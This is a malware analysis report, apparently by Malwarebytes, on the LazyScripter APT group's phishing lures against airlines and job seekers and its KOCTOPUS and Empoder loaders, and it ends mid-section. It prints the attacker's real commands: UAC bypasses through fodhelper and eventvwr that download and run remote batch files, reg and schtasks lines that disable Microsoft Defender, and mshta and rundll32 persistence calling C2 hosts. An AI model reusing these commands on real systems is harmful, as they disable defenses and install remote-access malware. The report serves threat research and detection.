LazyScripter: From Empire to double RAT
# Table of Contents

Executive Summary .................................................................................................................. 3

Introduction.............................................................................................................................. 4
  Timeline of activities and phishing lures .............................................................................. 6
  Document analysis .................................................................................................................. 11
  Archive analysis .................................................................................................................... 13

KOCTOPUS Analysis .................................................................................................................. 15
  Batch Variant .......................................................................................................................... 15
  Ngrok ..................................................................................................................................... 25
  ADS-Backdoor ....................................................................................................................... 26
  Executable Variant ................................................................................................................. 27
  Vbscript Variant ...................................................................................................................... 33
  Registry key variant ............................................................................................................... 33
  Empoder ................................................................................................................................. 33

Infrastructure.............................................................................................................................. 35

Attribution................................................................................................................................. 36

Conclusion ................................................................................................................................. 37

Indicators of Compromise (IOCs)............................................................................................. 38

MITRE ATT&CK techniques ..................................................................................................... 42
Executive Summary

Malwarebytes’ Threat Intelligence analysts are continually researching and monitoring active malware campaigns and actor groups as the prevalence and sophistication of targeted attacks rapidly evolves. In this paper, we introduce a new APT group we have named LazyScripter, presenting in-depth analysis of the tactics, techniques, procedures, and infrastructure employed by this actor group.

Although the observed TTPs have commonality with known actor groups, there are many notable differences setting LazyScripter apart from these groups; these similarities and differences are discussed in the Attribution section of this paper.

APT groups are traditionally tracked according to specific targets and tools or methodologies they employ. Many actor groups use spam campaigns, attaching weaponized documents to phishing emails themed to target the industry or demographic of interest. In this case, we initially discovered a number of malicious emails specifically targeting individuals seeking employment, which prompted a deeper investigation. Digging deeper we uncovered a targeted spam campaign dating back as far as 2018 using phishing lures with themes aimed not only at those seeking immigration to Canada for employment, but also at airlines.

In the following analysis, we walk through the timeline of observed TTPs from the initial phishing campaign to the state of the current and ongoing activities of the actor. We take a deep dive into each of the tools used, including the weaponized documents and the multiple variants of malware and exploitation techniques employed. Finally, we detail the infrastructure used and discuss the attribution comparisons with known actor groups such as APT28 and Muddy Water.

This in-depth and detailed analysis has revealed a developing campaign by what we believe to be a previously unidentified APT actor. Not only has this campaign been active for several years, but ongoing tracking shows this actor is still maintaining the infrastructure used and is actively updating toolsets. For this reason, we continue to track this new group LazyScripter as the threat evolves.
Introduction

In late December 2020 we observed a few malicious documents with embedded objects that were designed to target job seekers. The embedded objects were either VBScript or batch files that deployed two open-source multi-stage Remote Access Trojans (RATs): Octopus and Koadic. Interestingly, in some cases the attacker managed to drop other RATs such as LuminosityLink, RMS, Quasar, njRat and Remcos.

This triggered our interest to further investigate this threat actor to understand its activities over the past few years. We were able to track them back to at least 2018 with a campaign targeting victims looking to immigrate to Canada. Over time they have used different file types as their initial lures, and they have switched their main toolset from PowerShell Empire to double RAT (Koadic and Octopus).

This threat actor is targeting the International Air Transport Association (IATA) and airlines in which we observed several different lures specifically designed to target airlines that are using the BSPLink software. Most recently we observed that they have changed their lure to mimic a new feature recently introduced by IATA called IATA ONE ID (Contactless Passenger Processing tool). This indicates that this actor is constantly updating its toolsets to target new systems developed by IATA.
Phishing

In all their phishing lures the actor has used its loader to spawn a combination of Octopus and Koadic (there were only a few cases with Koadic only). We were able to identify several different variants of this loader: executable, batch, VBScript, and registry files (in which persistence is achieved by writing a PowerShell script into the AutoRun registry key). We named this new loader as KOCTOPUS.

This group also has used another loader around 2018 and 2019 to load PowerShell Empire. We named this loader Empoder.

As a phishing lure they mainly used either IATA- or job-related themes to target victims. However, we have observed several other phishing lures that have been used by this actor. Here are some of them:

- IATA security (International Air Transport Association security)
- BSPlink Updater or Upgrade (BSPlink is the global interface for travel agents and airlines to access the IATA Billing and Settlement Plan (BSP)).
- IATA ONE ID
- User support kits for IATA users
- Tourism (UNWTO)
- COVID-19
- Microsoft Updates
- Job information
- Canada skill worker program
- Canada Visa (CanadaVisa.com is the online presence of the Campbell Cohen Immigration Law Firm)

Another interest of this actor is targeting people that want to immigrate to Canada through government job-related programs. In one of the specific cases the actor has used the legitimate "Canadavisa.com" site as its phishing lure. Canadavisa is a known Canadian immigration website associated with an immigration firm based in Montreal, Canada.

This actor has mainly used spam emails weaponized with either archive or document files as it is initial infection vector. Both zip and document files contain a variant of either KOCTOPUS or Empoder and in some cases they are password protected.

The actor has mainly used two GitHub accounts to host its toolsets. Both of these accounts were deleted on Jan 12 and 14 2021, respectively.

- https://github[.]com/Axella49
- https://github[.]com/LIZySARA
The actor created a new GitHub account on Feb 2nd 2021 to host its payloads to operate its new spam campaign:

![GitHub account](image1)

**Figure 1: GitHub account belonging to threat actor**

![New GitHub repository](image2)

**Figure 2: New GitHub repository**

**Timeline of activities and phishing lures**

We were able to collect some of the spam emails used by this actor over the past two years. In these spam emails the actor used several methods to redirect the user to download a variant of KOCTOPUS. The latest campaign was spotted on Feb 5th, 2021 in which the actor was distributing a variant of KOCTOPUS pretending to be “BSPLink Upgrade.exe” and managed to drop a variant of Quasar Rat in addition to OCTOPUS and Koadic. Prior to that we have spotted another campaign on Jan 6th, 2021 in which the actors were distributing a variant of KOCTOPUS pretending to be “IATA ONE ID.exe” software:
Here is the list of different lures used by this actor:

- KOCTOPUS has been archived and distributed as an email attachment to victims.
The spam email contains a PDF file with a link to download a variant of KOCTOPUS.
The spam email contains a link that redirects the victim to download KOCTOPUS or a maldoc that has an embedded KOCTOPUS. The link usually is a URL shortener link using shortener services such as bit.ly or cutt.ly that redirects victims to either the attackers’ Github repository or the IP/URL address that hosts the maldoc.

On March 19th 2020, SANS ISC InfoSec Forums reported a multistage attack that took advantage of the COVID-19 pandemic to distribute its malware. This reported maldoc contains a variant of the KOCTOPUS malware we uncovered in this paper. In that phishing email the actor spoofed the World Health Organization and pretends to provide recommendations.

We were able to identify multiple themes used by this actor and the time they have been used in spam campaigns. The following image shows the time frames of the different lures used by the actor.
Figure 10: Lures timeline
Document analysis

Unlike most actors that are using macros in their documents to perform malicious activities, this actor has embedded objects that are one of the KOCTOPUS or Empoder variants.

We identified 14 malicious documents that have been used by this actor since 2018:

<table>
<thead>
<tr>
<th>sha256</th>
<th>name</th>
<th>Creation date</th>
<th>First seen on</th>
<th>Embedded objects</th>
</tr>
</thead>
<tbody>
<tr>
<td>2d845d666e27449d4b7a9226e76d6570d20454a4e02b3d6f9a5a0004bf2</td>
<td>Detal.doc</td>
<td>2018-09-16</td>
<td>-</td>
<td>Information.xls</td>
</tr>
<tr>
<td>2e016ca305f019d3060f7e7334f96a9694889ddbf8a27255695976991624</td>
<td>canadavisas.doc</td>
<td>2018-10-24</td>
<td>-</td>
<td>Canada Visa.doc</td>
</tr>
<tr>
<td>2400605e8d9e3bca58a29c8195d530a86d87c7575b36997c512d1bc9232</td>
<td>Fiche_de_renseignement_259R924NS02567.doc.doc.doc</td>
<td>2018-11-28</td>
<td>-</td>
<td>Fiche_de_renseignement_459R 904NS02567.pdf.doc.doc.doc</td>
</tr>
<tr>
<td>7099c42d46b1eb0b3eb831b1c1995e9e5df7b2d23ed8dd948f79c797f379f5</td>
<td>k.doc</td>
<td>2018-12-27</td>
<td>2019-01-01</td>
<td>Information.pdf.doc</td>
</tr>
<tr>
<td>7b1b71337a7b2c37d77fd6659a64232a6b27652cc5ecac24db6132ae9a8d</td>
<td>List of IOBS.doc</td>
<td>2019-11-18</td>
<td>2019-11-20</td>
<td>LIST OF IOBS.PDF.pdf.bat</td>
</tr>
<tr>
<td>785c2845af631f33d4a709a05e5c5b338389e15e82e1aa7e41a8991e6238f</td>
<td>LIST OF IOBS.doc</td>
<td>2019-11-19</td>
<td>2019-12-13</td>
<td>LIST OF IOBS.PDF.pdf.bat</td>
</tr>
<tr>
<td>640d0c07e9d2388b1e5d8a5ef130907c86a2a161564d6b5862b64e8</td>
<td>Information All.IOBS.doc</td>
<td>2020-01-08</td>
<td>2020-02-06</td>
<td>TERM OF THE CONTRACT.PDF.pdf bat HIRING CONDITIONS.PDF.pdf bat</td>
</tr>
<tr>
<td>7a8773399b00c346df5783b81111e8c8e039619b40e405f32b943b56013c27597</td>
<td>Information All.iobs.doc</td>
<td>2020-01-08</td>
<td>2020-02-19</td>
<td>TERM OF THE CONTRACT.PDF.pdf bat HIRING CONDITIONS.PDF.pdf bat</td>
</tr>
<tr>
<td>c3379e83e8e763f80001d76905f147fccc12865e7a9f9a85d520386b659</td>
<td>Recommendations Corona Virus.doc</td>
<td>2020-03-04</td>
<td>2020-06-11</td>
<td>Recommendations for your health and travel.pdf.bat Recommendations after infection.pdf.bat</td>
</tr>
<tr>
<td>1462001100d685967e35213060be46b12048bf9a2a785a8859e3f162082b</td>
<td>Details of Offers.doc</td>
<td>2020-03-05</td>
<td>2020-03-05</td>
<td>PRESENTATION AND MISSIONS.PDF.bat LIST CITY COUNTRY WORK.PDF.XLS.bat</td>
</tr>
<tr>
<td>516a31d00543f1e28b28493b782c0158f2181a468894e38176a9c64a</td>
<td>COVID-19 &amp; Travelers.doc</td>
<td>2020-09-19</td>
<td>2020-09-24</td>
<td>Security Measures.pdf.bat Preventive Measures.pdf.bat</td>
</tr>
<tr>
<td>2d45b666e27449d4b7a9226e76d6570d20454a4e02b3d6f9a5a0004bf2</td>
<td>Job Details.Doc</td>
<td>2020-11-09</td>
<td>2020-11-17</td>
<td>TERM OF THE CONTRACT.PDF.pdf bat HIRING CONDITIONS.PDF.pdf bat TERMS &amp; CONDITIONS OF THE CONTRACT.PDF.pdf bat HIRING FORM.PDF.bat</td>
</tr>
<tr>
<td>ba1cc67df76d57c1a1a3e10336f193e5cf2c8b11ca11c3c47d0f4e</td>
<td>Hiring and working conditions.doc</td>
<td>2020-12-10</td>
<td>2020-12-22</td>
<td></td>
</tr>
<tr>
<td>905f3e88513b917a4f89033364b254f423ae57b546b3190308064b002b9</td>
<td>COVID-19 &amp; Travelers.doc</td>
<td>2020-09-21</td>
<td>2020-09-21</td>
<td>Security Measures.pdf.bat Preventive Measures.pdf.bat</td>
</tr>
</tbody>
</table>

Figure 11: List of maldocs used by this actor

The malicious documents usually have one or two embedded objects with either PDF, Microsoft Word or Excel icons to pretend they are another document embedded in the doc while in fact they are either batch, executable, or VBScript variants of KOCTOPUS or Empoder.
“Activate Editing” first and then double-click on the PDF file to display the content.

Thank you.

Recommendations for your health and...

Recommendations after infection.pdf

Figure 12: Doc Template 1
Archive analysis

The actor has not only relied on maldocs to deliver its loaders but also used archive files that have embedded a variant of KOCTOPUS or Empoder. The following shows the list of archive lures used by this actor since 2018:
<table>
<thead>
<tr>
<th>File name</th>
<th>Embedded files</th>
<th>Hash</th>
<th>Creation date</th>
<th>First on VT</th>
<th>note</th>
</tr>
</thead>
<tbody>
<tr>
<td>JOB_SEARCH_FORM.pdf.zip</td>
<td>Federal_Skilled_Worker_Program_Eligible_Occupations_in_Canada_Immigration_and_Visa_Information_Canada.pdf.exe</td>
<td>a34a3b9c865580e77967f51e6a974d6</td>
<td>2020-11-05</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>-</td>
<td>JOB_SEARCH_FORM.pdf.exe</td>
<td>2ecf7b7a1d3d6f535e379a85be5e6d6d</td>
<td>2018-02-01</td>
<td>2020-12-23</td>
<td></td>
</tr>
<tr>
<td>IATA_Secure.zip</td>
<td></td>
<td>7120d0112d6a8282246324586a0f8a29f</td>
<td>2018-02-01</td>
<td>2020-12-23</td>
<td></td>
</tr>
<tr>
<td>-</td>
<td>IATA_Secure.bat</td>
<td>3b4c0ec20f6f0a28f3f3e1d49998737</td>
<td>2020-11-23</td>
<td>-</td>
<td>Multiple variants</td>
</tr>
<tr>
<td>MS-CV20X_Update.zip</td>
<td></td>
<td>2a22278246b3630d56c41a7f0b4a5c</td>
<td>2020-11-08</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>-</td>
<td>MS-CV20X_Update.reg</td>
<td>6339d3550215e873b29541103dbd6</td>
<td>2020-11-02</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Support_kits_for_users.zip</td>
<td></td>
<td>abc12e0a260061ed8148153b356e6e</td>
<td>2020-10-09</td>
<td>-</td>
<td>Multiple variants</td>
</tr>
<tr>
<td>-</td>
<td>Support kit for users.bat</td>
<td>52332a2291a3f3732e364e3d515a8c</td>
<td>2020-10-09</td>
<td>-</td>
<td>Multiple variants</td>
</tr>
<tr>
<td>JOB_INFORMATION.zip</td>
<td></td>
<td>e9bada4ba92c148b61236d5618eda7</td>
<td>2020-10-27</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>-</td>
<td>Federal_Skilled_Worker_Program_Eligible_Occupations_in_Canada_Immigration_and_Visa_Information_Canada.pdf.exe</td>
<td>N/A</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>details.zip</td>
<td></td>
<td>d9b546a4ef2e7e75f58a55ea</td>
<td>2020-12-09</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>APPWEB_IATA.zip</td>
<td></td>
<td>9c2de5565c0878a08da567563271630</td>
<td>2018-02-01</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>-</td>
<td>APPWEB_IATA.exe</td>
<td>f56e0a60e010796344fa451af7510</td>
<td>2020-12-30</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Detail.zip</td>
<td></td>
<td>6339d3550215e873b29541103dbd6</td>
<td>2018-08-11</td>
<td>2018-11-14</td>
<td>-</td>
</tr>
<tr>
<td>SSL_IATA_UPDATER.zip</td>
<td></td>
<td>6339d3550215e873b29541103dbd6</td>
<td>2020-11-03</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>-</td>
<td>SSL_IATA_UPDATER.reg</td>
<td>367937a1389b690c63f81036990c13</td>
<td>2020-12-17</td>
<td>-</td>
<td>Multiple Variants</td>
</tr>
<tr>
<td>BSPlinkUpdaterV4.zip</td>
<td></td>
<td>c802022322961198c0e0e6828c</td>
<td>2018-02-01</td>
<td>2020-12-21</td>
<td>-</td>
</tr>
</tbody>
</table>

Figure 14: List of archive files and their embedded objects
KOCTOPUS Analysis

The actor has used this loader to load Octopus and Koadic and in some cases other RATs such as LuminosityLink RMS and Quadar RAT. This loader has four different variants which we will describe below.

Batch Variant

The batch files used by this actor are highly obfuscated with the BatchEncryption tool. BatchEncryption is an advanced batch obfuscation tool that uses a combination of known and custom environment variable encoding techniques.

In this section we provide the analysis of a batch file embedded within the most recent maldoc used by this actor. The following shows the obfuscated version of KOCTOPUS:

![KOCTOPUS Batch Variant Obfuscated](image)

Figure 17: KOCTOPUS Batch Variant Not Obfuscated

Figure 17 shows the list of commands that will be executed by this loader after de-obfuscation.
This loader starts its activities by checking the OS version using the following command:

```
for /f "tokens=2 delims=," %%i in ('wmic os get caption^,version /format:csv') do set os=%%i
```

Then it looks for number 10 using the `find` command to identify if the OS is Windows 10. If that is the case, it attempts to bypass User Access Control (UAC) using `fodhelper.exe` and execute its commands with higher privilege. If the OS version is not 10, it performs UAC bypass through `Event Viewer (eventvwr.exe)`.

`Fodhelper.exe` has been used in Windows 10 to manage language settings. Since this process is running with highest privilege, an attacker can abuse it to execute its malicious commands with the same privilege `fodhelper` has. When the `fodhelper.exe` process starts it looks for the three registry keys shown below that by default do not exist. Therefore, an attacker can write its malicious commands in these registry keys to be executed by `fodhelper.exe` with the highest privilege.

<table>
<thead>
<tr>
<th>Registry Key 1</th>
<th>Registry Key 2</th>
<th>Registry Key 3</th>
</tr>
</thead>
<tbody>
<tr>
<td>HKCU:\Software\Classes\ms-settings\shell\open\command</td>
<td>HKCU:\Software\Classes\ms-settings\shell\open\command\DelegateExecute</td>
<td>HKCU:\Software\Classes\ms-settings\shell\open\command{default}</td>
</tr>
</tbody>
</table>

This loader has created these registry keys with a PowerShell command:

```
&& reg add HKCU\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f && reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "cmd.exe /c powershell -WindowStyle Hidden -command \"IEX (New-Object Net.WebClient).DownloadFile('http://23.98.155.192/sc.bat',, 'C:\Users\Public\Libraries\sc.bat');\" C:\Users\Public\Libraries\sc.bat" /f
```

To execute the PowerShell command, `fodhelper.exe` needs to be executed:

```
&& START /W fodhelper.exe
```

Upon `fodhelper` execution, PowerShell is executed to download a batch file from a remote server and save it into the Libraries directory and finally execute it. At the end the loader performs the cleanup procedure by deleting the created registry keys with the following command:

```
&& reg delete HKCU\Software\Classes\ms-settings /f
```

If the OS version is not 10, `Event Viewer` is used to bypass UAC. When `eventvwr.exe` is executed it looks for `mmc.exe` in these two registry locations:

<table>
<thead>
<tr>
<th>Registry Key 1</th>
<th>Registry Key 2</th>
</tr>
</thead>
<tbody>
<tr>
<td>HKCU\Software\Classes\mscfile\shell\open\command</td>
<td>HKCR\mscfile\shell\open\command</td>
</tr>
</tbody>
</table>

Since the first registry key does not exist then `mmc.exe` is executed from the second location to load the `eventvwr.msc` file in order to display the information to the user. An attacker can create this registry key that doesn’t exist in order to execute malicious commands with administrative privileges. In this case the actor has created this registry key with the same PowerShell command as described in the `fodhelper.exe` bypass.

```
reg.exe add hkg\software\classes\mscfile\shell\open\command /ve /d "cmd.exe /c powershell -WindowStyle Hidden -command \"IEX (New-Object Net.WebClient).DownloadFile('http://23.98.155.192/sc.bat',, 'C:\Users\Public\Libraries\sc.bat');\" C:\Users\Public\Libraries\sc.bat" /f
```
The downloaded batch file (sc.bat) has also been obfuscated using the BatchEncryption tool. After deobfuscation we can see this batch performs the following steps:

- Using `reg.exe` to disable, add or delete all registry keys related to Microsoft Defender and Microsoft Security Essentials. Also, it disables all the Scheduled tasks related to these security products by calling `schtasks`:

```plaintext
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v 
"DisableAntiSpyware" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v 
"DisableAntiVirus" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v 
"MpEnablePus" /t REG_DWORD /d "0" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v 
"DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v 
"SpynetReporting" /t REG_DWORD /d "0" /f
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v 
"SubmitSamplesConsent" /t REG_DWORD /d "0" /f
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run " /v "Windows Defender" /f
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
```
Calling PowerShell.exe to download another batch file. The actor has used another URL shortener “is.gd” which redirects to a Github repository to download that batch file:

powershell -WindowStyle Hidden -command "IEX (New-Object Net.WebClient).DownloadFile('https://is.gd/xbQIQ2','C:\Users\Public\Libraries\pus.bat');" C:\Users\Public\Libraries\pus.bat

The pus.bat script is also obfuscated by the BatchEncryption tool and executes the following PowerShell command. This command connects to its server to deploy its first multi-stage RAT which is Octopus:


Performing the following actions which in fact make both Octopus and Koadic persistence through both the AutoRun registry key and scheduled task.

**Koadic Persistence:**

Octopus Persistence:

```
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "New Value #1" /t REG_SZ /d "mshta http://hpsj.firewall-gateway.net:8080/MicrosoftUpdate" /f powershell Add-MpPreference -ExclusionPath "C:" -FORCE
```

Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c Invoke-Command -ScriptBlock { schtasks /create /TN AutomaticU /TR 'C:\Users\Public\Libraries\pus.bat' /SC minute /mo 120} "C:\WINDOWS\system32\schtasks.exe" /create /TN AutomaticU /TR C:\Users\Public\Libraries\pus.bat /SC minute /mo 120

The first PowerShell command downloads the Octopus PowerShell agent from the following URL: http://hpsj.[.]firewall-gateway[.]net:80/hpjs.php. This agent has been obfuscated by the attacker.

The Octopus agent is responsible for communicating with its C&C server to send and receive commands. To start its communications, it collects the following information from the victim machine:

- Host name (with the addition of five random characters to the end)
- User name (if the user name has the administrator role it adds “*” to it)
- OS version
- OS architecture
- The process id that is executing this PowerShell script
- Victim’s Network domain

Then it builds a header with the following format:
In the next step, it encrypts the header using AES encryption and then encodes the generated encrypted header using Base64. The Key and IV for encryption are Base64 hardcoded.

```csharp
function ZEY($OPEYVDI, $OCYFCUVC) {
    $AHQG.BlockSize = 128
    $AHQG.KeySize = 256
    if ($OCYFCUVC) {
        if ($OCYFCUVC.GetType().Name -eq "String") {
            $AHQG.IV = [System.Convert]:FromString($OCYFCUVC)
        } else {
            $AHQG.IV = $OCYFCUVC
        }
    }
    if ($OPEYVDI) {
        if ($OPEYVDI.GetType().Name -eq "String") {
            $AHQG.Key = [System.Convert]:FromString($OPEYVDI)
        } else {
            $AHQG.Key = $OPEYVDI
        }
    }
    $AHQG
}

function OHKWSWIGE($OPEYVDI, $OCYFCUVC, $unencryptedString) {
    $AHQG = ZEY $OPEYVDI $OCYFCUVC
    $VG = $AHQG.CreateEncryptor()
    $encryptedData = $VG.TransformFinalBlock($bytes, 0, $bytes.Length);
    [System.Convert]:ToBase64String($encryptedData)
}
```

Figure 19: Encryption function

Then it sends an HTTP get request to its server with the generated header as authorization header field.

![Http get request](image1)

Figure 20: Http get request

After sending the request, it goes into a loop to receive commands from the server. The received commands are specific to the victim and the generated URL is the combination of the C&C URL and generated host name. The received commands are Base64 encoded and AES encrypted and therefore it first decodes and decrypts the commands and then based on the commands it does the required actions.
Here is the list of commands:

- **False:** If the command is False it does nothing.
- **Report:** It collects victim’s info including list of all of the running processes, local IP address, OS version, last boot time, OS locale and current time and then encrypts and Base64 encodes them and sends them in the authorization HTTP field to the server.
- **Download:** Upload the content of a specified file to the server.
- **reset-pc:** It seems this feature is not still implemented.

It also deploys another variant of Octopus agent through JavaScript (mshta http://hpsj.firewall-gateway.net:8080/hta). This script calls the PowerShell to download the Octopus agent.
After deploying Octopus it deploys Koadic by calling `mshta`:

```
"mshta http://hpsj.firewall-gateway.net:8080/MicrosoftUpdate" /f powershell
Add-MpPreference -ExclusionPath "C:" -FORCE
```

The actor has used `mshta` and `rundll32.exe` for Koadic stagers.

```
"C:\Windows\System32\rundll32.exe" http://hpsj.firewall-gateway.net:8080/MicrosoftUpdate?PPVXCFPB4Y4U=2368b7b9facb4a3b8acf72d29ea28704
;UGH09GLI5P=;\...\...\mshtml,RunHTMLApplication
```

Figure 24 shows the downloaded first stage. This script defines 4 random strings with the following sizes: 101, 118, 97, and 108. These strings' lengths have been used to build the "eval" by converting each string size number to char.

In the next step the obfuscated script that will be executed by `eval` is deobfuscated by passing it to the deobfuscation function (jRclebKBKY). At the end that deobfuscated script is executed by calling `eval`. 
The deobfuscated script collects the following information from the victim and then builds a URL and command and makes an HTTP request to the Koadic server.

- Checks SeDebugPrivilege through “whoami /all” command
- Gets OS version and Build by reading their relative registry locations
- Gets group policy history through reading registry location
- Gets processor architecture
- Lists directories in temp folder
- Gets the contents of the IP routing table by executing the “route print” command
- Gets computer name and username
- Gets Windows code page
In this case, we observed that Koadic acted as a downloader to download and execute RMS, LuminosityLink. In some other cases, the actor used Koadic to drop njRat, Remcos and Quasar RAT.

```
"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -command "{ (New-Object Net.WebClient).DownloadFile('https://cutt.ly/0hakgDJ', 'C:\Users\Public\Libraries\1.exe') }" C:\Users\Public\Libraries\1.exe
"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -command "{ (New-Object Net.WebClient).DownloadFile('https://cutt.ly/agV2Ekk', 'C:\Users\Public\Libraries\1.exe') }" C:\Users\Public\Libraries\1.exe
```
Ngrok

We have observed some other variants of KOCTOPUS where the actor first deployed a modified version of Invoke-Ngrok which is a PowerShell script that exposes local ports of a victim over the internet. This script has an embedded Base64 encoded payload that is decoded and stored in the Libraries directory pretending to be RuntimeBroker.exe. This dropped payload achieved persistence through the AutoRun registry key and a scheduled task.

After deploying Ngrok, the loader has deployed both Octopus and Koadic RATs.
In another case, we observed that the actor has tried to use the ADS-Backdoor which is a backdoor persistent module of Nishang Framework. Nishang is an open-source PowerShell-based framework for offensive security, penetration testing, and red teeming.

```
```
We were able to find 7 executables associated with KOCTOPUS. All of these executables have been compiled using Pure Basic and have the same compile date (February 1st 2018) and almost all of them were recently uploaded to VirusTotal.

Having the same compile time might indicate that they have been developed or modified by an automated tool. After further analysis we identified that all of these samples have been generated using a Bat to Exe Converter tool. In fact, the actor has used a tool to convert its batch loader to an executable. The compile time is predefined in this application and does not show the right compilation time. We believe the right compilation time is around the time that the sample has been uploaded to VirusTotal.
The samples are using different names to pretend they are legitimate applications. Here are some of the names used by these samples:

- **“IATA ONE ID.exe”**: This has been distributed through a spam campaign on Jan 6\(^{th}\), 2021. It is using the *IATA ONE ID* icon to pretend it is that software. ONE ID is a fairly recent concept introduced by IATA for contactless identity management that leverages biometric technology. This indicates that this actor is constantly monitoring new IATA technologies to update its toolsets respectively.

- **“BSPlinkUpdaterV4.exe”**: Similar to the “IATA ONE ID” this has been specifically designed to target airlines that are using BSPlink software.

- **“Federal Skilled Worker Program Eligible Occupations Canada Immigration and Visa Information Canada.exe”**: This is designed to target people that are applying to the Canada skill worker program. The actor has used decoy documents from a Canada Immigration website (Figure 30 and Figure 31).
Federal Skilled Worker Program Eligible Occupations
Click Here

Last Updated on February 20, 2020

On January 1, 2015, the Government of Canada implemented the Express Entry Immigration system under the Economic Class including the Federal Skilled Worker Program.

Under Express Entry, Federal Skilled Workers across 347 eligible occupations who meet minimum entry criteria, submit an expression of interest profile to the Express Entry Pool. The profiles of candidates in the pool are ranked under a Comprehensive Ranking System. The highest-ranked candidates will be considered for an invitation to apply for permanent residence. Candidates receiving an invitation must submit a full application within a delay of 60 days.

Federal Skilled Workers are persons with suitable education, work experience, age, and language abilities under one of Canada’s official languages and who are selected under the Express Entry Immigration system to apply for permanent residence.

To qualify for admission to the Express Entry Pool as a Federal Skilled Worker, applicants must meet the following conditions:

Essential Conditions:

a. Possess one year of continuous full-time paid work experience in the past ten years in one of 347 eligible occupations listed under the applicable National Occupational Classification system; AND
b. The work experience must be classified within Skill Type 0 (Managerial Occupations), Skill Level A (Professional Occupations), or Skill Level B (Technical Occupations and Skilled Trades) within the meaning of the National Occupational Classification system; AND
c. Score sufficient points under the skilled worker point grid comprising of six selection factors. The current pass mark is 67 points;
d. Undergo language testing from a recognized third party and demonstrate intermediate-level language skills in English or French corresponding to the Canadian Language Benchmark of 7; AND

f. Undergo a successful security background and medical examination.

Figure 30: Decoy document
Figure 31: Decoy document

The actor has used several different icons for these executables. Among them we observed one that is an old Malwarebytes icon possibly pretending to be our security software.
This Bat to Exe Converter encrypts the batch loader into its resource section. The executable loads the resource, decrypting its content and then executing the batch file.

Here is the main process of this loader:

- It creates a directory in the %APPDATA%/Temp directory and then creates a batch file in that directory. The name of the directory and batch files are generated randomly.

```c
BOOL __stdcall sub_40A665(wchar_t *Source)
{
    wchar_t *i; // eax
    int v2; // ecx
    wchar_t Destination[262]; // [esp+0h] [ebp-20Ch] BYREF

    if ( !Source )
        return 0;
    wcsncpy(Destination, Source, 0x104u);
    Destination[260] = 0;
    for ( i = &Destination[wcslen(Destination)]; i > Destination; --i )
    {
        v2 = *(i - 1);
        if ( v2 != 32 && v2 != 92 && v2 != 47 )
            break;
    }
    *i = 0;
    return CreateDirectoryW(Destination, 0);
}
```

- It looks for resources by their hashes and loads them using the LoadResource API call. This executable contains 2 resources. One of them has been used to generate a key for the RC4 encryption algorithm. The other one is the batch file content that has been encrypted.
It generates the RC4 key from the resource.

It decrypts the content of the other resource and writes it into that created batch file. (The encryption key is 6A2148ADF8D6E529B08D8BD0800A85).

It calls cmd.exe to execute the generated bat file using CreateProcessW.
**Vbscript Variant**

The KOCTOPUS vbscript variant has the same functionality as we mentioned in the batch variant with the difference that process execution has been started by a VBScript that calls wscript to execute a PowerShell command. This PowerShell command downloads the batch variant of KOCTOPUS. All of the VBScript files are obfuscated to make analysis more difficult.

In the VBA variant, the actor has used the URL shortener cutt.ly to hide its real URL which in this case is a GitHub repository hosted at raw.githubusercontent.com.

```
'C:\Users\Public\Libraries\reguac.bat');"
